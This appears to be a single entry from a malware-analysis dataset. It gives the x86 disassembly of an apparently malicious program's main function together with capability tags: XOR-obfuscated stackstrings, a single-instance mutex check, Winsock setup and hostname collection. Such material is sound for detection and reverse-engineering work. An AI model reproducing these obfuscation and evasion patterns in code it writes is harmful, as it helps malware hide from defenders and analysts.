Function at 0x40619d
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Encode data using xor
Get hostname
Initialize winsock library
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x419290], eax
call fcn.0040bb8d
call fcn.0040bd29
call fcn.00409c81
mov eax, dword [0x415cc1]
xor ebx, ebx
inc eax
push eax
push 0x419780
push 0xffffffffffffffff
push 0x415cc5
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edx, dword [0x415d45]
mov ecx, 0x415d49
call fcn.00404f27
mov dword [0x41977c], eax
call fcn.00407fde
call fcn.004020e7
call fcn.0040783a
call fcn.0040b055
lea ecx, [esp + 0x74]
call fcn.00407c6f
lea ecx, [esp + 0x74]
call fcn.00409648
push 0x419378
lea eax, [esp + 0x78]
push 0x202
mov dword [0x419514], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esp + 0x70]
mov dword [esp + 0x70], 0x40
push eax
push 0x4192f8
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x4192bc
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx edx, byte [0x418e64]
lea ecx, [esp + 0x74]
call fcn.0040febb
mov byte [esp + 0x48], 0x55
mov byte [esp + 0x49], 2
mov byte [esp + 0x4a], 0x67
mov byte [esp + 0x4b], 2
mov byte [esp + 0x4c], 0x75
mov byte [esp + 0x4d], 2
mov byte [esp + 0x4e], 0x75
mov byte [esp + 0x4f], 2
mov byte [esp + 0x50], 0x6b
mov byte [esp + 0x51], 2
mov byte [esp + 0x52], 0x71
mov byte [esp + 0x53], 2
mov byte [esp + 0x54], 0x70
mov byte [esp + 0x55], 2
mov byte [esp + 0x56], 0x3c
mov byte [esp + 0x57], 2
mov byte [esp + 0x58], 0x22
mov byte [esp + 0x59], 2
mov byte [esp + 0x5a], 0x27
mov byte [esp + 0x5b], 2
mov byte [esp + 0x5c], 0x75
mov byte [esp + 0x5d], 2
mov byte [esp + 0x5e], 2
mov byte [esp + 0x5f], bl
mov al, byte [esp + 0x48]
mov eax, ebx
sub byte [esp + eax + 0x48], 2
inc eax
cmp eax, 0x17
jb 0x4062e7
mov dword [esp + 0x10], 0x3c
mov edx, ebx
mov eax, dword [esp + 0x10]
xor al, 0x73
mov byte [esp + 0x14], al
mov eax, dword [esp + 0x10]
inc al
mov byte [esp + 0x15], al
mov eax, dword [esp + 0x10]
add al, 2
xor al, 0x74
mov byte [esp + 0x16], al
mov eax, dword [esp + 0x10]
add al, 3
mov byte [esp + 0x17], al
mov eax, dword [esp + 0x10]
add al, 4
xor al, 0x61
mov byte [esp + 0x18], al
mov eax, dword [esp + 0x10]
add al, 5
mov byte [esp + 0x19], al
mov eax, dword [esp + 0x10]
add al, 6
xor al, 0x72
mov byte [esp + 0x1a], al
mov eax, dword [esp + 0x10]
add al, 7
mov byte [esp + 0x1b], al
mov eax, dword [esp + 0x10]
add al, 8
xor al, 0x74
mov byte [esp + 0x1c], al
mov eax, dword [esp + 0x10]
add al, 9
mov byte [esp + 0x1d], al
mov eax, dword [esp + 0x10]
add al, 0xa
xor al, 0x65
mov byte [esp + 0x1e], al
mov eax, dword [esp + 0x10]
add al, 0xb
mov byte [esp + 0x1f], al
mov eax, dword [esp + 0x10]
add al, 0xc
xor al, 0x64
mov byte [esp + 0x20], al
mov eax, dword [esp + 0x10]
add al, 0xd
mov byte [esp + 0x21], al
mov eax, dword [esp + 0x10]
add al, 0xe
mov byte [esp + 0x23], bl
mov byte [esp + 0x22], al
mov al, byte [esp + 0x14]
mov al, byte [esp + edx + 0x14]
mov ecx, dword [esp + 0x10]
add cl, dl
xor cl, al
mov byte [esp + edx + 0x14], cl
inc edx
cmp edx, 0xf
jb 0x4063a6
push 0x419190
lea eax, [esp + 0x4c]
mov byte [esp + 0x27], bl
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.0041321e
add esp, 0xc
lea ecx, [esp + 0x74]
call fcn.0040b776
xor edi, edi
inc edi
cmp byte [0x418e64], bl
jne 0x406470
cmp byte [0x418e62], bl
jne 0x406470
lea ecx, [esp + 0x74]
call fcn.00407f47
test eax, eax
je 0x406470
mov byte [esp + 0x30], 0x4e
mov byte [esp + 0x31], 0x51
mov byte [esp + 0x32], 0x4d
mov byte [esp + 0x33], 0x5f
mov byte [esp + 0x34], 0x60
mov byte [esp + 0x35], 0x2c
mov byte [esp + 0x36], 0x54
mov byte [esp + 0x37], 0x51
mov byte [esp + 0x38], 0x5e
mov byte [esp + 0x39], 0x51
mov byte [esp + 0x3a], 0x4b
mov byte [esp + 0x3b], bl
mov al, byte [esp + 0x30]
mov eax, ebx
sub byte [esp + eax + 0x30], 0xc
inc eax
cmp eax, 0xb
jb 0x406445
push ebx
lea eax, [esp + 0x34]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x406470
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040a33d
mov esi, eax
cmp byte [esi + 0x4e24], bl
jne 0x406565
cmp byte [esi + 0x4e22], bl
je 0x4064a4
lea ecx, [esp + 0x74]
call fcn.00407f47
test eax, eax
je 0x4064a4
call fcn.00402508
mov ecx, eax
call fcn.0040a397
cmp byte [esi + 0x4e24], bl
jne 0x406565
cmp byte [esi + 0x4e23], bl
je 0x4064d1
lea ecx, [esp + 0x74]
call fcn.00407f47
test eax, eax
je 0x4064d1
call fcn.00402508
mov ecx, eax
call fcn.0040a8cf
cmp byte [esi + 0x4e24], bl
jne 0x406565
lea ecx, [esp + 0x74]
call fcn.00407f47
test eax, eax
je 0x406565
cmp byte [esi + 0x4e1f], bl
je 0x4064f7
call fcn.0040d306
cmp byte [esi + 0x4e20], bl
je 0x406516
call fcn.0040ade5
test eax, eax
jne 0x406516
call fcn.0040ad8b
test eax, eax
je 0x406516
call fcn.0040c9d7
cmp byte [esi + 0x4e1e], bl
je 0x406533
call fcn.0040c089
call fcn.0040ad8b
test eax, eax
je 0x406533
xor ecx, ecx
call fcn.0040c726
cmp byte [esi + 0x4e1d], bl
je 0x406540
call fcn.0040c74e
cmp byte [esi + 0x4e1a], bl
je 0x406551
lea ecx, [esp + 0x74]
call fcn.0040b6b0
cmp byte [esi + 0x4e1b], bl
je 0x406565
call fcn.00407609
mov ecx, edi
call fcn.00407775
call fcn.004077ba
test eax, eax
je 0x40657f
lea ecx, [esp + 0x74]
call fcn.00407f47
test eax, eax
jne 0x40670a
cmp byte [esi + 0x4e21], bl
jne 0x4065e5
mov dword [esp + 0x60], 0x23
lea ecx, [esp + 0x60]
mov byte [esp + 0x64], 0x61
mov byte [esp + 0x65], 0x23
mov byte [esp + 0x66], 0x66
mov byte [esp + 0x67], 0x23
mov byte [esp + 0x68], 0x64
mov byte [esp + 0x69], 0x23
mov byte [esp + 0x6a], 0x6a
mov byte [esp + 0x6b], 0x23
mov byte [esp + 0x6c], 0x6d
mov byte [esp + 0x6d], 0x23
mov byte [esp + 0x6e], 0x23
mov al, byte [esp + 0x64]
mov byte [esp + 0x6f], bl
call fcn.004067d8
mov edx, eax
call fcn.00402508
mov ecx, eax
call fcn.0040bda1
call fcn.00409aea
mov ecx, edi
call fcn.00409bb2
call fcn.004077ba
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40660f
call fcn.0040ae37
push 0x3e8
call edi
call fcn.004077ba
test eax, eax
je 0x4065fe
mov dword [esp + 0x3c], 0x6c
lea ecx, [esp + 0x3c]
mov eax, dword [esp + 0x3c]
xor al, 0x2d
mov byte [esp + 0x40], al
mov eax, dword [esp + 0x3c]
inc al
mov byte [esp + 0x41], al
mov eax, dword [esp + 0x3c]
add al, 2
xor al, 0x3e
mov byte [esp + 0x42], al
mov eax, dword [esp + 0x3c]
add al, 3
mov byte [esp + 0x43], al
mov eax, dword [esp + 0x3c]
push ebx
add al, 4
mov byte [esp + 0x49], bl
push ebx
mov byte [esp + 0x4c], al
mov al, byte [esp + 0x48]
push 0xf
call fcn.004067b4
mov edx, eax
lea ecx, [esp + 0x80]
call fcn.00407ce9
add esp, 0xc
jmp 0x406683
call fcn.0040ae37
push 0x3e8
call edi
call fcn.00409c0e
test eax, eax
je 0x406677
cmp byte [esi + 0x4e21], bl
jne 0x406705
mov dword [esp + 0x24], 0x6a
lea ecx, [esp + 0x24]
mov eax, dword [esp + 0x24]
xor al, 0x45
mov byte [esp + 0x28], al
mov eax, dword [esp + 0x24]
inc al
mov byte [esp + 0x29], al
mov eax, dword [esp + 0x24]
add al, 2
xor al, 0x4e
mov byte [esp + 0x2a], al
mov eax, dword [esp + 0x24]
add al, 3
mov byte [esp + 0x2b], al
mov eax, dword [esp + 0x24]
add al, 4
xor al, 0x44
mov byte [esp + 0x2c], al
mov eax, dword [esp + 0x24]
add al, 5
mov byte [esp + 0x2d], al
mov eax, dword [esp + 0x24]
add al, 6
mov byte [esp + 0x2f], bl
mov byte [esp + 0x2e], al
mov al, byte [esp + 0x28]
call fcn.00406790
mov edx, eax
call fcn.00402508
mov ecx, eax
call fcn.0040bda1
call fcn.0040b5d7
cmp byte [esi + 0x4e24], bl
jne 0x40671b
call fcn.00413157
test eax, eax
je 0x40675e
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea edi, [esp + 0x94]
push 7
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
jmp 0x40674d
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push ebx
push ebx
push ebx
lea eax, [esp + 0xa0]
push eax
call esi
test eax, eax
jne 0x406731
lea ecx, [esp + 0x74]
call fcn.00407cd8
call fcn.00408a91
call fcn.0040250e
call fcn.00407a9c
call fcn.0040b5bf
call fcn.00409a8d
call fcn.0040759f
call fcn.004130a2
push ebx
jmp 0x40646a